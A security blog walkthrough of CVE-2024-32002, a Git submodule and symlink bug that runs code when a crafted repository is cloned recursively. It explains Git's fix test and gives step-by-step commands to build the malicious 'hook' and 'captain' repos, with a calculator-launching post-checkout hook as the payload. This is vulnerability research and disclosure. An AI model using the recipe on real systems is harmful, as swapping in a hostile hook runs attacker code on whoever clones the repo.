Git RCE - CVE 2024-32002 | Technical Walkthrough & Recreating The Bug Locally
By Aseem Shrey on 19th May, 2024
In this blog we will do a deep dive of CVE-2024-32002, that allowed a remote code execution (RCE) by just cloning a repo.
As per github blog -
CVE-2024-32002 (Critical, Windows & macOS): Git repositories with submodules can trick Git into executing a hook from the .git/ directory during a clone operation, leading to Remote Code Execution.
Affected Versions - v2.45.0 v2.44.0 <=v2.43.3 <=v2.42.1 v2.41.0 <=v2.40.1 <=v2.39.3
Upgrade it to avoid remote code execution by cloning a malicious repo.
tl;dr
Repositories with submodules can be crafted in a way that exploits a bug in Git whereby it can be fooled into writing files not into the submodule's worktree but into a .git/ directory. This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed.
- Github Security Advisory ( GHSA-8h77-4q3w-gfgv )
Thus remote code exectuion (RCE) can be done just by cloning a specially crafted repo.
The Commit
In the NIST database on CVE-2024-32002, you'll find reference to the code commit, where this bug was fixed. Let's go there, here's the commit link.
If you check the commit, there are two files -
- builtin/submodule--helper.c
- t/t7406-submodule-update.sh
The second file ( t/t7406-submodule-update.sh
), contains the test for ensuring that this bug is checked for automatically in further versions of git.
The way it does is by creating a file tell.tale
in the current directory, if there's bug in git and code is executed, post cloning, that file should exist at the end of the test. That is what this whole test case is about.
We use this to create our exploit, in this case the malicious repo, that when cloned executes the code on victim's machine.
Let's dive into the code -
test_expect_success CASE_INSENSITIVE_FS,SYMLINKS \
'submodule paths must not follow symlinks' '
# This is only needed because we want to run this in a self-contained
# test without having to spin up an HTTP server; However, it would not
# be needed in a real-world scenario where the submodule is simply
# hosted on a public site.
test_config_global protocol.file.allow always &&
# Make sure that Git tries to use symlinks on Windows
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
Below is a breakdown of the code with detailed explanations for each part.
-
Test Setup:
test_expect_success CASE_INSENSITIVE_FS,SYMLINKS \ 'submodule paths must not follow symlinks' '
This line starts a new test case.
test_expect_success
is a function used in Git's test framework. The test is labeled withCASE_INSENSITIVE_FS
andSYMLINKS
, indicating it's relevant for case-insensitive file systems and systems that support symlinks. The test description is 'submodule paths must not follow symlinks'. -
Global Configuration:
test_config_global protocol.file.allow always && test_config_global core.symlinks true &&
These commands set global Git configuration:
protocol.file.allow always
allows thefile://
protocol for Git operations.core.symlinks true
ensures Git uses symlinks, specifically relevant on Windows systems.- This is only needed because this is a self-contained test without having to spin up an HTTP server. However, it would not be needed in a real-world scenario where the submodule is simply hosted on a public site.
-
Define a Path for the Tell-tale File:
tell_tale_path="$PWD/tell.tale" &&
- This sets a variable
tell_tale_path
to a file namedtell.tale
in the current directory, which will be used to detect if the post-checkout hook runs.
- This sets a variable
-
Initialize a Repository (
hook
) and Create a Hook:git init hook && ( cd hook && mkdir -p y/hooks && write_script y/hooks/post-checkout <<-EOF && echo HOOK-RUN >&2 echo hook-run >"$tell_tale_path" EOF git add y/hooks/post-checkout && test_tick && git commit -m post-checkout ) &&
- Initializes a new Git repository named
hook
. - Navigates into the
hook
directory. - Creates the directory structure
y/hooks
. - Writes a
post-checkout
hook script that outputsHOOK-RUN
and writeshook-run
totell_tale_path
. - Adds and commits the
post-checkout
hook.
- Initializes a new Git repository named
-
Set Hook Repository Path:
hook_repo_path="$(pwd)/hook" &&
Sets a variable
hook_repo_path
to the absolute path of thehook
repository. -
Initialize Another Repository (
captain
) and Add Submodule:git init captain && ( cd captain && git submodule add --name x/y "$hook_repo_path" A/modules/x && test_tick && git commit -m add-submodule &&
- Initialize a new Git repository named
captain
. - Navigate into the
captain
directory. - Adds the
hook
repository as a submodule underA/modules/x
with the namex/y
. - Commit the addition of the submodule.
- Initialize a new Git repository named
-
Create a Symlink to
.git
Directory:printf .git >dotgit.txt && git hash-object -w --stdin <dotgit.txt >dot-git.hash && printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info && git update-index --index-info <index.info && test_tick && git commit -m add-symlink ) &&
- In this section, the test handcrafts a symlink to
.git
folder and updates it to git index. - Git index is the place where, staging things are kept. You can read more here.
- Create a file
dotgit.txt
containing.git
string. - Create a Git blob object from
dotgit.txt
and stores its hash indot-git.hash
. - Prepare an index entry for a symlink (mode
120000
) to.git
using the hash fromdot-git.hash
. - Update the Git index with this entry and then commit the addition of the symlink.
- In this section, the test handcrafts a symlink to
-
Ensure the Tell-tale File is Absent and Test Cloning:
test_path_is_missing "$tell_tale_path" && test_must_fail git clone --recursive captain hooked 2>err && grep "directory not empty" err && test_path_is_missing "$tell_tale_path"
- Checks that
tell_tale_path
does not exist. - Attempts to clone the
captain
repository recursively into a new directoryhooked
. The clone operation is expected to fail. - Verifies that the error message contains "directory not empty".
- Ensures
tell_tale_path
is still absent, confirming the hook did not run.
- Checks that
Reconstructing the bug from the fix
Now, the test has pretty much the whole exploit, except that it is written to be run without actually creating a git repo, hosted on any popular git service. We will do a few modifications and guide you to recreate the whole setup on github.com's hosted git repos.
- Create two empty repos -
captain
andhook
.
2. git clone
each of these onto your local machine.
3. Go into hook
directory - cd hook
and create a directory - y/hooks
, with the command - mkdir -p y/hooks
.
- Now create a file into the new
hooks
directory inside they
folder, with the name -post-checkout
-touch ./y/hooks/post-checkout
. So now the directory structure should look like this -
Now the reason we want to create the file named post-checkout
specifically, is because post-checkout
is a git hook. So with git hooks you can execute custom scripts when certain important actions occur, such as in this case, when the user checkouts code on their machine.
- In the
./y/hooks/post-checkout
file add this code snippet -
#!/bin/sh
open -a Calculator
The above script opens a calculator, when executed on mac. For windows the payload would change to -
#!/bin/sh
powershell -Command "Start-Process 'calc.exe'"
6. Let's make this post-checkout
executable - git update-index --chmod=+x y/hooks/post-checkout
7. Now stage the changes, commit the changes and push it - git add . && git commit -m post-checkout && git push origin main
.
- Now we are done with the hook preparation.
Creating the captain repo
This is the repo that gets cloned
by the victim and has the hook
repo as it's submodule. Let's see how do we prepare this repo.
- Go into
captain
repo that we cloned earlier - Add the
hook
repo as a submodule in this repo, using the following command -git submodule add --name x/y "[email protected]:SecureMyOrg/hook.git" A/modules/x
. - Now we will create a file
dotgit.txt
with the contents as the string -.git
- After this we create a git hash-object of the same file and create an
index.info
file with the contents of the git hash-object. The value120000
symbolises symlink in git.
printf .git >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
5. We will use this index.info
file to update the git index with our carefully crafted payload
The index.info
file structure used in the script is specifically formatted to update the Git index with a symlink entry. Let's break down the format and understand its components:
Structure of index.info
Each line in index.info
represents an entry to be added to the Git index. The format of each line is:
<mode> <object hash> <stage>\t<path>
Where:
<mode>
: File mode, which indicates the type of file and its permissions. For symlinks, this is120000
.<object hash>
: The SHA-1 hash of the object in the Git object database. This is a 40-character hexadecimal string that uniquely identifies the content of the file or symlink target.<stage>
: The stage number, used for handling merge conflicts. It's0
for normal entries.<path>
: The file path relative to the root of the repository's working directory.
Example Breakdown
Here is the example line from index.info
in the script:
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
Let's break this down:
-
Mode (
120000
):120000
is the file mode for a symlink in Git.- It indicates that the entry is a symbolic link.
-
Object Hash (
%s
):- This placeholder (
%s
) is replaced by the actual object hash fromdot-git.hash
. - The hash uniquely identifies the contents of the file (in this case, the
.git
string).
- This placeholder (
-
Stage (
0
):0
indicates the normal stage, meaning there are no merge conflicts for this entry.
-
Path (
a
):a
is the path where the symlink will be placed in the repository.- In the context of the script, this is just a placeholder and would typically be a valid file path.
Complete Example
Let's put this all together with a hypothetical hash:
Assume dot-git.hash
contains e69de29bb2d1d6434b8b29ae775ad8c2e48c5391
. The index.info
line would be:
120000 e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 0 a
Lets see the current index. This can be done using the command - git ls-files --stage
.
The git update-index --index-info
command reads from index.info
and updates the Git index accordingly. This command is used to stage the symlink entry in the index with the specified mode, hash, and path.
6. Now lets commit everything to the repo and push it.
git commit -m "Add symlink to .git"
git push origin main
After all this, you should've this directory structure -
Showtime
Now we have everything ready. Lets see this in action. For this we just need to recursively git clone the captain
repo.
Here's how we can do this - git clone --recursive [email protected]:SecureMyOrg/captain.git hooked
Impact
Any person who clones a specially crafted repo, can be made to execute a malicious code without them being any wiser. Thus a remote code execution can be achieved by just cloning the repo.
Fix
To keep your systems safe, please upgrade your git
to the latest version.
Thank you ! Hope you enjoyed reading this and learnt something as well.
About SecureMyOrg
SecureMyOrg, is a cybersecurity consulting services, with offices in the US and India. We build security for startups. If you're someone looking for a trusted cybersecurity partner, feel free to reach out to us - LinkedIn or Email. Some of the things people reach out to us for -
- Building their cybersecurity program from scratch - setting up cloud security using cost-effective tools, SIEM for alert monitoring, building policies for the company
- Vulnerability Assessment and Penetration Testing ( VAPT ) - We have certified professionals, with certifications like OSCP, CREST - CPSA & CRT, CKA and CKS
- DevSecOps consulting
- Red Teaming activity
- Regular security audits, before product release
- Full time security engineers.